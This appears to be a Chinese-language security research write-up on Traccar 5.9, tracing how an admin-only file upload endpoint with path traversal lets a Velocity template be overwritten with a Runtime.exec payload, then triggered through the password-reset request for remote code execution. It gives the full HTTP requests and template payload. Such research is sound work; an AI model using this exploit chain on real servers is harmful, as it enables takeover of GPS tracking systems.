Traccar是一个开源的GPS跟踪系统,可以从https://github.com/traccar/traccar/releases/download/v5.9/traccar-windows-64-5.9.zip ,下载最新版本的安装包
默认安装后从windows服务启动traccar(有一说一很不明白为什么放到服务里了不整个自启动)
访问http://127.0.0.1:8082,
开始创建账号(根据官方文档,第一个创建的账号即为管理员账户)
先检查下build.gradle里有没有什么有趣的依赖
//...
implementation "com.mysql:mysql-connector-j:8.1.0"
//...
implementation "org.glassfish.jersey.containers:jersey-container-servlet:$jerseyVersion"
implementation "org.glassfish.jersey.media:jersey-media-json-jackson:$jerseyVersion"
implementation "org.glassfish.jersey.inject:jersey-hk2:$jerseyVersion"
//...
implementation "org.apache.velocity:velocity-engine-core:2.3"
implementation "org.apache.velocity.tools:velocity-tools-generic:3.1"
implementation "org.apache.commons:commons-collections4:4.4"
//...
嗯,很好,mysql依赖的版本很高,不能指望jdbc转RCE了,但是意外的看到了velocity,一会可以留意下有没有SSTI的问题。
顺便提一嘴,glassfish可以理解为tomcat的完整javaee实现版本,所以基本还是filter做鉴权,servlet做路由那套。
接着看看鉴权部分是怎么做的
src\main\java\org\traccar\web\WebServer.java
private void initApi(ServletContextHandler servletHandler) { String mediaPath = config.getString(Keys.MEDIA_PATH); if (mediaPath != null) { ServletHolder servletHolder = new ServletHolder(DefaultServlet.class); servletHolder.setInitParameter("resourceBase", new File(mediaPath).getAbsolutePath()); servletHolder.setInitParameter("dirAllowed", "false"); servletHolder.setInitParameter("pathInfoOnly", "true"); servletHandler.addServlet(servletHolder, "/api/media/*"); } ResourceConfig resourceConfig = new ResourceConfig(); resourceConfig.registerClasses( JacksonFeature.class, ObjectMapperContextResolver.class, DateParameterConverterProvider.class, SecurityRequestFilter.class, CorsResponseFilter.class, ResourceErrorHandler.class); resourceConfig.packages(ServerResource.class.getPackage().getName()); if (resourceConfig.getClasses().stream().filter(ServerResource.class::equals).findAny().isEmpty()) { LOGGER.warn("Failed to load API resources"); } servletHandler.addServlet(new ServletHolder(new ServletContainer(resourceConfig)), "/api/*"); }
然后我就发现这段代码看的一头雾水,是时候祭出chatgpt了,重点部分如下
在这个配置中,注册了一些类,包括 JacksonFeature、ObjectMapperContextResolver、DateParameterConverterProvider、SecurityRequestFilter、CorsResponseFilter 和 ResourceErrorHandler。这些类通常用于处理和管理Web API请求和响应。
最后,将配置好的 resourceConfig 添加到 servletHandler 中,映射到 "/api/*" 路径,这意味着该Servlet将处理以 "/api/" 开头的所有HTTP请求。
总之,这段代码是用于初始化一个Servlet上下文处理器,配置处理媒体文件的Servlet以及配置和注册用于处理RESTful Web服务请求的Jersey组件和资源类。
好,既然知道filter是哪几个了,那就看看鉴权都写的啥。
当翻到SecurityRequestFilter的时候,我突然释然的笑了,也就是说除了被PermitAll修饰的方法全都得过鉴权,经过一番ctrl+shift+f,被我们寄予厚望的不需要授权的接口宣布GG,呕吼,还是看看远方的授权有没有什么漏洞吧。
@Override public void filter(ContainerRequestContext requestContext) { //... SecurityContext securityContext = null; try { String authHeader = requestContext.getHeaderString("Authorization"); if (authHeader != null) { try { User user; if (authHeader.startsWith("Bearer ")) { user = loginService.login(authHeader.substring(7)); } else { String[] auth = decodeBasicAuth(authHeader); user = loginService.login(auth[0], auth[1]); } if (user != null) { statisticsManager.registerRequest(user.getId()); securityContext = new UserSecurityContext(new UserPrincipal(user.getId())); } } catch (StorageException | GeneralSecurityException | IOException e) { throw new WebApplicationException(e); } } else if (request.getSession() != null) { Long userId = (Long) request.getSession().getAttribute(SessionResource.USER_ID_KEY); if (userId != null) { User user = injector.getInstance(PermissionsService.class).getUser(userId); if (user != null) { user.checkDisabled(); statisticsManager.registerRequest(userId); securityContext = new UserSecurityContext(new UserPrincipal(userId)); } } } } catch (SecurityException | StorageException e) { LOGGER.warn("Authentication error", e); } if (securityContext != null) { requestContext.setSecurityContext(securityContext); } else { Method method = resourceInfo.getResourceMethod(); if (!method.isAnnotationPresent(PermitAll.class)) { Response.ResponseBuilder responseBuilder = Response.status(Response.Status.UNAUTHORIZED); String accept = request.getHeader("Accept"); if (accept != null && accept.contains("text/html")) { responseBuilder.header("WWW-Authenticate", "Basic realm=\"api\""); } throw new WebApplicationException(responseBuilder.build()); } } }
经过一番翻找,发现一个uploadImage竟然没有做文件名的校验,直接将传入的path拼接进output,任意文件上传到手
@Path("file/{path}")
@POST
@Consumes("*/*")
public Response uploadImage(@PathParam("path") String path, File inputFile) throws IOException, StorageException {
permissionsService.checkAdmin(getUserId());
String root = config.getString(Keys.WEB_OVERRIDE, config.getString(Keys.WEB_PATH));
var outputPath = Paths.get(root, path);
var directoryPath = outputPath.getParent();
if (directoryPath != null) {
Files.createDirectories(directoryPath);
}
try (var input = new FileInputStream(inputFile); var output = new FileOutputStream(outputPath.toFile())) {
input.transferTo(output);
}
return Response.ok().build();
}
但是这个环境虽然是类似tomcat,但它很spring,因为这玩意也是经典打包成jar包运行。
那么windows+jar包的格式怎么让任意文件上传变成RCE呢,经过我一番思索(指摇了个师傅救场)后,恍然发现前面不还有个模板引擎吗?正好这个项目的模板还是放在Jar包外面,这覆盖完不就RCE了吗。
一番寻找后锁定了.\templates\full\passwordReset.vm
作为我的目标
掏出我珍藏的velocity payload,将如下请求的cookie修改为有效cookie后发送,检查会发现passwordReset.vm被成功覆盖
POST /api/server/file/..%2ftemplates%2ffull%2fpasswordReset.vm HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: image/jpeg
Content-Length: 376
Connection: close
Cookie: JSESSIONID=Vaild_Cookie
#set($subject = "Password reset")
<!DOCTYPE html>
<html>
<body>
To reset password please click on the following link:<br>
<a href="$webUrl/reset-password?passwordReset=$token">$webUrl/reset-password?passwordReset=$token</a><br>
</body>
</html>
#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd.exe /c echo aaa > pwn.txt");
接着将如下请求的cookie修改为有效cookie,将email修改为创建账号的email后发送
POST /api/password/reset HTTP/1.1
Host: 192.168.109.155:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.109.155:8082/settings/preferences
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 18
Origin: http://192.168.109.155:8082
Connection: close
Cookie: JSESSIONID=Vaild_Cookie
email=YOUR_Login_Email
检查安装目录(windows默认安装在C:\Program Files\Traccar下),成功生成pwn.txt
新人的练手作品,如果哪里有问题还希望各位师傅多多指点,SALUTE!